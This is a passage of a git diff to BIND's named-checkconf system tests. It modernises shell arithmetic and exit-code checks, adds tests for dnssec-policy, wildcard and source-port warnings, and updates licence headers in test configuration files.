+    { $CHECKCONF badzero.conf > checkconf.out$n.3 2>&1; rc=$?; } || true
+    [ $rc -eq 1 ] || { echo_i "options + view $field failed" ; ret=1; }
     cat > badzero.conf << EOF
 zone dummy {
     type secondary;
@@ -203,355 +212,415 @@ zone dummy {
     $field 0;
 };
 EOF
-    $CHECKCONF badzero.conf > checkconf.out$n.4 2>&1
-    [ $? -eq 1 ] || { echo_i "zone $field failed" ; ret=1; }
+    { $CHECKCONF badzero.conf > checkconf.out$n.4 2>&1; rc=$?; } || true
+    [ $rc -eq 1 ] || { echo_i "zone $field failed" ; ret=1; }
 done
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking options allowed in inline-signing secondaries ($n)"
 ret=0
-$CHECKCONF bad-dnssec.conf > checkconf.out$n.1 2>&1
-l=`grep "dnssec-dnskey-kskonly.*requires inline" < checkconf.out$n.1 | wc -l`
-[ $l -eq 1 ] || ret=1
-$CHECKCONF bad-dnssec.conf > checkconf.out$n.2 2>&1
-l=`grep "dnssec-loadkeys-interval.*requires inline" < checkconf.out$n.2 | wc -l`
+$CHECKCONF bad-dnssec.conf > checkconf.out$n.2 2>&1 && ret=1
+l=$(grep "dnssec-loadkeys-interval.*requires inline" < checkconf.out$n.2 | wc -l)
 [ $l -eq 1 ] || ret=1
-$CHECKCONF bad-dnssec.conf > checkconf.out$n.3 2>&1
-l=`grep "update-check-ksk.*requires inline" < checkconf.out$n.3 | wc -l`
-[ $l -eq 1 ] || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check file + inline-signing for secondary zones ($n)"
-$CHECKCONF inline-no.conf > checkconf.out$n.1 2>&1
-l=`grep "missing 'file' entry" < checkconf.out$n.1 | wc -l`
+$CHECKCONF inline-no.conf > checkconf.out$n.1 2>&1 && ret=1
+l=$(grep "missing 'file' entry" < checkconf.out$n.1 | wc -l)
 [ $l -eq 0 ] || ret=1
-$CHECKCONF inline-good.conf > checkconf.out$n.2 2>&1
-l=`grep "missing 'file' entry" < checkconf.out$n.2 | wc -l`
+$CHECKCONF inline-good.conf > checkconf.out$n.2 2>&1 || ret=1
+l=$(grep "missing 'file' entry" < checkconf.out$n.2 | wc -l)
 [ $l -eq 0 ] || ret=1
-$CHECKCONF inline-bad.conf > checkconf.out$n.3 2>&1
-l=`grep "missing 'file' entry" < checkconf.out$n.3 | wc -l`
+$CHECKCONF inline-bad.conf > checkconf.out$n.3 2>&1 && ret=1
+l=$(grep "missing 'file' entry" < checkconf.out$n.3 | wc -l)
 [ $l -eq 1 ] || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking named-checkconf DLZ warnings ($n)"
 ret=0
-$CHECKCONF dlz-bad.conf > checkconf.out$n 2>&1
+$CHECKCONF dlz-bad.conf > checkconf.out$n 2>&1 && ret=1
 grep "'dlz' and 'database'" < checkconf.out$n > /dev/null || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking for missing key directory warning ($n)"
 ret=0
 rm -rf test.keydir
 $CHECKCONF warn-keydir.conf > checkconf.out$n.1 2>&1
-l=`grep "'test.keydir' does not exist" < checkconf.out$n.1 | wc -l`
+l=$(grep "'test.keydir' does not exist" < checkconf.out$n.1 | wc -l)
 [ $l -eq 1 ] || ret=1
 touch test.keydir
 $CHECKCONF warn-keydir.conf > checkconf.out$n.2 2>&1
-l=`grep "'test.keydir' is not a directory" < checkconf.out$n.2 | wc -l`
+l=$(grep "'test.keydir' is not a directory" < checkconf.out$n.2 | wc -l)
 [ $l -eq 1 ] || ret=1
 rm -f test.keydir
 mkdir test.keydir
 $CHECKCONF warn-keydir.conf > checkconf.out$n.3 2>&1
-l=`grep "key-directory" < checkconf.out$n.3 | wc -l`
+l=$(grep "key-directory" < checkconf.out$n.3 | wc -l)
 [ $l -eq 0 ] || ret=1
 rm -rf test.keydir
-if [ $ret != 0 ]; then echo_i "failed"; fi
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that named-checkconf -z catches conflicting ttl with max-ttl ($n)"
 ret=0
-$CHECKCONF -z max-ttl.conf > check.out 2>&1
+$CHECKCONF -z max-ttl.conf > check.out 2>&1 && ret=1
 grep 'TTL 900 exceeds configured max-zone-ttl 600' check.out > /dev/null 2>&1 || ret=1
 grep 'TTL 900 exceeds configured max-zone-ttl 600' check.out > /dev/null 2>&1 || ret=1
 grep 'TTL 900 exceeds configured max-zone-ttl 600' check.out > /dev/null 2>&1 || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that named-checkconf -z catches invalid max-ttl ($n)"
 ret=0
 $CHECKCONF -z max-ttl-bad.conf > checkconf.out$n 2>&1 && ret=1
-if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that named-checkconf -z skips zone check with alternate databases ($n)"
 ret=0
 $CHECKCONF -z altdb.conf > checkconf.out$n 2>&1 || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that named-checkconf -z skips zone check with DLZ ($n)"
 ret=0
 $CHECKCONF -z altdlz.conf > checkconf.out$n 2>&1 || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that named-checkconf -z fails on view with ANY class ($n)"
 ret=0
 $CHECKCONF -z view-class-any1.conf > checkconf.out$n 2>&1 && ret=1
-if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that named-checkconf -z fails on view with CLASS255 class ($n)"
 ret=0
 $CHECKCONF -z view-class-any2.conf > checkconf.out$n 2>&1 && ret=1
-if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that named-checkconf -z passes on view with IN class ($n)"
 ret=0
 $CHECKCONF -z view-class-in1.conf > checkconf.out$n 2>&1 || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that named-checkconf -z passes on view with CLASS1 class ($n)"
 ret=0
 $CHECKCONF -z view-class-in2.conf > checkconf.out$n 2>&1 || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that check-names fails as configured ($n)"
 ret=0
 $CHECKCONF -z check-names-fail.conf > checkconf.out$n 2>&1 && ret=1
 grep "near '_underscore': bad name (check-names)" < checkconf.out$n > /dev/null || ret=1
 grep "zone check-names/IN: loaded serial" < checkconf.out$n > /dev/null && ret=1
-if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that check-mx fails as configured ($n)"
 ret=0
 $CHECKCONF -z check-mx-fail.conf > checkconf.out$n 2>&1 && ret=1
 grep "near '10.0.0.1': MX is an address" < checkconf.out$n > /dev/null || ret=1
 grep "zone check-mx/IN: loaded serial" < checkconf.out$n > /dev/null && ret=1
-if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that check-dup-records fails as configured ($n)"
 ret=0
 $CHECKCONF -z check-dup-records-fail.conf > checkconf.out$n 2>&1 && ret=1
 grep "has semantically identical records" < checkconf.out$n > /dev/null || ret=1
 grep "zone check-dup-records/IN: loaded serial" < checkconf.out$n > /dev/null && ret=1
-if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that check-mx fails as configured ($n)"
 ret=0
 $CHECKCONF -z check-mx-fail.conf > checkconf.out$n 2>&1 && ret=1
 grep "failed: MX is an address" < checkconf.out$n > /dev/null || ret=1
 grep "zone check-mx/IN: loaded serial" < checkconf.out$n > /dev/null && ret=1
-if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that check-mx-cname fails as configured ($n)"
 ret=0
 $CHECKCONF -z check-mx-cname-fail.conf > checkconf.out$n 2>&1 && ret=1
 grep "MX.* is a CNAME (illegal)" < checkconf.out$n > /dev/null || ret=1
 grep "zone check-mx-cname/IN: loaded serial" < checkconf.out$n > /dev/null && ret=1
-if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that check-srv-cname fails as configured ($n)"
 ret=0
 $CHECKCONF -z check-srv-cname-fail.conf > checkconf.out$n 2>&1 && ret=1
 grep "SRV.* is a CNAME (illegal)" < checkconf.out$n > /dev/null || ret=1
 grep "zone check-mx-cname/IN: loaded serial" < checkconf.out$n > /dev/null && ret=1
-if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that named-checkconf -p properly print a port range ($n)"
 ret=0
 $CHECKCONF -p portrange-good.conf > checkconf.out$n 2>&1 || ret=1
 grep "range 8610 8614;" < checkconf.out$n > /dev/null || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that named-checkconf -z handles in-view ($n)"
 ret=0
 $CHECKCONF -z in-view-good.conf > checkconf.out$n 2>&1 || ret=1
 grep "zone shared.example/IN: loaded serial" < checkconf.out$n > /dev/null || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that named-checkconf -z returns error when a later view is okay ($n)"
 ret=0
 $CHECKCONF -z check-missing-zone.conf > checkconf.out$n 2>&1 && ret=1
-if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that named-checkconf prints max-cache-size <percentage> correctly ($n)"
 ret=0
 $CHECKCONF -p max-cache-size-good.conf > checkconf.out$n 2>&1 || ret=1
 grep "max-cache-size 60%;" < checkconf.out$n > /dev/null || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that named-checkconf -l prints out the zone list ($n)"
 ret=0
 $CHECKCONF -l good.conf |
+grep -v "is deprecated" |
 grep -v "is not implemented" |
+grep -v "is not recommended" |
 grep -v "no longer exists" |
 grep -v "is obsolete" > checkconf.out$n || ret=1
 diff good.zonelist checkconf.out$n > diff.out$n || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that the 2010 ICANN ROOT KSK without the 2017 ICANN ROOT KSK generates a warning ($n)"
 ret=0
 $CHECKCONF check-root-ksk-2010.conf > checkconf.out$n 2>/dev/null || ret=1
 [ -s checkconf.out$n ] || ret=1
 grep "key without the updated" < checkconf.out$n > /dev/null || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that the 2010 ICANN ROOT KSK with the 2017 ICANN ROOT KSK does not generate a warning ($n)"
 ret=0
 $CHECKCONF check-root-ksk-both.conf > checkconf.out$n 2>/dev/null || ret=1
 [ -s checkconf.out$n ] && ret=1
-if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that the 2017 ICANN ROOT KSK alone does not generate a warning ($n)"
 ret=0
 $CHECKCONF check-root-ksk-2017.conf > checkconf.out$n 2>/dev/null || ret=1
 [ -s checkconf.out$n ] && ret=1
-if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that a static root key generates a warning ($n)"
 ret=0
 $CHECKCONF check-root-static-key.conf > checkconf.out$n 2>/dev/null || ret=1
 grep "static entry for the root zone WILL FAIL" checkconf.out$n > /dev/null || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that a static root DS trust anchor generates a warning ($n)"
 ret=0
 $CHECKCONF check-root-static-ds.conf > checkconf.out$n 2>/dev/null || ret=1
 grep "static entry for the root zone WILL FAIL" checkconf.out$n > /dev/null || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that a trusted-keys entry for root generates a warning ($n)"
 ret=0
 $CHECKCONF check-root-trusted-key.conf > checkconf.out$n 2>/dev/null || ret=1
 grep "trusted-keys entry for the root zone WILL FAIL" checkconf.out$n > /dev/null || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that using trust-anchors and managed-keys generates an error ($n)"
 ret=0
 $CHECKCONF check-mixed-keys.conf > checkconf.out$n 2>/dev/null && ret=1
 grep "use of managed-keys is not allowed" checkconf.out$n > /dev/null || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking named-checkconf kasp errors ($n)"
 ret=0
 $CHECKCONF kasp-and-other-dnssec-options.conf > checkconf.out$n 2>&1 && ret=1
-grep "'inline-signing;' cannot be set to 'no' if dnssec-policy is also set on a non-dynamic DNS zone" < checkconf.out$n > /dev/null || ret=1
-grep "'auto-dnssec maintain;' cannot be configured if dnssec-policy is also set" < checkconf.out$n > /dev/null || ret=1
-grep "dnskey-sig-validity: cannot be configured if dnssec-policy is also set" < checkconf.out$n > /dev/null || ret=1
-grep "dnssec-dnskey-kskonly: cannot be configured if dnssec-policy is also set" < checkconf.out$n > /dev/null || ret=1
-grep "dnssec-secure-to-insecure: cannot be configured if dnssec-policy is also set" < checkconf.out$n > /dev/null || ret=1
-grep "dnssec-update-mode: cannot be configured if dnssec-policy is also set" < checkconf.out$n > /dev/null || ret=1
-grep "sig-validity-interval: cannot be configured if dnssec-policy is also set" < checkconf.out$n > /dev/null || ret=1
-grep "update-check-ksk: cannot be configured if dnssec-policy is also set" < checkconf.out$n > /dev/null || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-n=`expr $n + 1`
+grep "'inline-signing yes;' must also be configured explicitly for zones using dnssec-policy without a configured 'allow-update' or 'update-policy'" < checkconf.out$n > /dev/null || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
 echo_i "checking named-checkconf kasp nsec3 iterations errors ($n)"
 ret=0
-$CHECKCONF kasp-bad-nsec3-iter.conf > checkconf.out$n 2>&1 && ret=1
+if ! ($SHELL ../testcrypto.sh -q RSASHA1); then
+    conf=kasp-bad-nsec3-iter-fips.conf
+    expect=2
+else
+    conf=kasp-bad-nsec3-iter.conf
+    expect=3
+fi
+$CHECKCONF $conf > checkconf.out$n 2>&1 && ret=1
 grep "dnssec-policy: nsec3 iterations value 151 out of range" < checkconf.out$n > /dev/null || ret=1
 lines=$(wc -l < "checkconf.out$n")
-if [ $lines != 3 ]; then ret=1; fi
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+if [ $lines -ne $expect ]; then ret=1; fi
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking named-checkconf kasp nsec3 algorithm errors ($n)"
 ret=0
 $CHECKCONF kasp-bad-nsec3-alg.conf > checkconf.out$n 2>&1 && ret=1
-grep "dnssec-policy: cannot use nsec3 with algorithm 'RSASHA1'" < checkconf.out$n > /dev/null || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-n=`expr $n + 1`
+if ! ($SHELL ../testcrypto.sh -q RSASHA1); then
+    grep "dnssec-policy: algorithm rsasha1 not supported" < checkconf.out$n > /dev/null || ret=1
+else
+    grep "dnssec-policy: cannot use nsec3 with algorithm 'RSASHA1'" < checkconf.out$n > /dev/null || ret=1
+fi
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
 echo_i "checking named-checkconf kasp key errors ($n)"
 ret=0
 $CHECKCONF kasp-bad-keylen.conf > checkconf.out$n 2>&1 && ret=1
-grep "dnssec-policy: key with algorithm rsasha1 has invalid key length 511" < checkconf.out$n > /dev/null || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+grep "dnssec-policy: key with algorithm rsasha256 has invalid key length 511" < checkconf.out$n > /dev/null || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking named-checkconf kasp signatures refresh errors ($n)"
+ret=0
+$CHECKCONF kasp-bad-signatures-refresh.conf > checkconf.out$n 2>&1 && ret=1
+grep "dnssec-policy: policy 'bad-sigrefresh' signatures-refresh must be at most 90% of the signatures-validity" < checkconf.out$n > /dev/null || ret=1
+grep "dnssec-policy: policy 'bad-sigrefresh-dnskey' signatures-refresh must be at most 90% of the signatures-validity-dnskey" < checkconf.out$n > /dev/null || ret=1
+lines=$(wc -l < "checkconf.out$n")
+if [ $lines -ne 2 ]; then ret=1; fi
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
+echo_i "checking named-checkconf kasp key lifetime errors ($n)"
+ret=0
+$CHECKCONF kasp-bad-lifetime.conf > checkconf.out$n 2>&1 && ret=1
+lines=$(grep "dnssec-policy: key lifetime is shorter than the time it takes to do a rollover" < checkconf.out$n | wc -l) || ret=1
+if [ $lines -ne 3 ]; then ret=1; fi
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
 echo_i "checking named-checkconf kasp predefined key length ($n)"
 ret=0
 $CHECKCONF kasp-ignore-keylen.conf > checkconf.out$n 2>&1 || ret=1
 grep "dnssec-policy: key algorithm ecdsa256 has predefined length; ignoring length value 2048" < checkconf.out$n > /dev/null || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking named-checkconf kasp warns about weird policies ($n)"
+ret=0
+$CHECKCONF kasp-warning.conf > checkconf.out$n 2>&1 || ret=1
+grep "dnssec-policy: algorithm 8 has multiple keys with ZSK role" < checkconf.out$n > /dev/null || ret=1
+grep "dnssec-policy: algorithm 8 has multiple keys with ZSK role" < checkconf.out$n > /dev/null || ret=1
+grep "dnssec-policy: algorithm 13 has multiple keys with KSK role" < checkconf.out$n > /dev/null || ret=1
+grep "dnssec-policy: algorithm 13 has multiple keys with ZSK role" < checkconf.out$n > /dev/null || ret=1
+grep "dnssec-policy: key lifetime is shorter than 30 days" < checkconf.out$n > /dev/null || ret=1
+lines=$(wc -l < "checkconf.out$n")
+if [ $lines -ne 5 ]; then ret=1; fi
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that a good 'kasp' configuration is accepted ($n)"
 ret=0
 $CHECKCONF good-kasp.conf > checkconf.out$n 2>/dev/null || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that named-checkconf prints a known good kasp config ($n)"
 ret=0
 awk 'BEGIN { ok = 0; } /cut here/ { ok = 1; getline } ok == 1 { print }' good-kasp.conf > good-kasp.conf.in
 [ -s good-kasp.conf.in ] || ret=1
 $CHECKCONF -p good-kasp.conf.in | grep -v '^good-kasp.conf.in:' > good-kasp.conf.out 2>&1 || ret=1
 cmp good-kasp.conf.in good-kasp.conf.out || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that max-ixfr-ratio 100% generates a warning ($n)"
 ret=0
 $CHECKCONF warn-maxratio1.conf > checkconf.out$n 2>/dev/null || ret=1
 grep "exceeds 100%" < checkconf.out$n > /dev/null || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "check that *-source options with specified port generate warnings ($n)"
+ret=0
+$CHECKCONF warn-transfer-source.conf > checkconf.out$n 2>/dev/null || ret=1
+grep "not recommended" < checkconf.out$n > /dev/null || ret=1
+$CHECKCONF warn-notify-source.conf > checkconf.out$n 2>/dev/null || ret=1
+grep "not recommended" < checkconf.out$n > /dev/null || ret=1
+$CHECKCONF warn-parental-source.conf > checkconf.out$n 2>/dev/null || ret=1
+grep "not recommended" < checkconf.out$n > /dev/null || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "check that 'check-wildcard no;' succeeds as configured ($n)"
+ret=0
+$CHECKCONF -z check-wildcard-no.conf > checkconf.out$n 2>&1 || ret=1
+grep -F "warning: ownername 'foo.*.check-wildcard' contains an non-terminal wildcard" checkconf.out$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-rmdir keys
+n=$((n + 1))
+echo_i "check that 'check-wildcard yes;' warns as configured ($n)"
+ret=0
+$CHECKCONF -z check-wildcard.conf > checkconf.out$n 2>&1 || ret=1
+grep -F "warning: ownername 'foo.*.check-wildcard' contains an non-terminal wildcard" checkconf.out$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/checkconf/tests_sh_checkconf.py b/bin/tests/system/checkconf/tests_sh_checkconf.py
new file mode 100644
index 0000000000..3a348ba2f8
--- /dev/null
+++ b/bin/tests/system/checkconf/tests_sh_checkconf.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_checkconf(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/checkconf/view-class-any1.conf b/bin/tests/system/checkconf/view-class-any1.conf
index 9832ce02aa..8b39456692 100644
--- a/bin/tests/system/checkconf/view-class-any1.conf
+++ b/bin/tests/system/checkconf/view-class-any1.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/view-class-any2.conf b/bin/tests/system/checkconf/view-class-any2.conf
index 03f08030df..049ccf6cb9 100644
--- a/bin/tests/system/checkconf/view-class-any2.conf
+++ b/bin/tests/system/checkconf/view-class-any2.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/view-class-in1.conf b/bin/tests/system/checkconf/view-class-in1.conf
index 794f9e00de..1d203e6253 100644
--- a/bin/tests/system/checkconf/view-class-in1.conf
+++ b/bin/tests/system/checkconf/view-class-in1.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/view-class-in2.conf b/bin/tests/system/checkconf/view-class-in2.conf
index c519b1a66b..38b356e706 100644
--- a/bin/tests/system/checkconf/view-class-in2.conf
+++ b/bin/tests/system/checkconf/view-class-in2.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
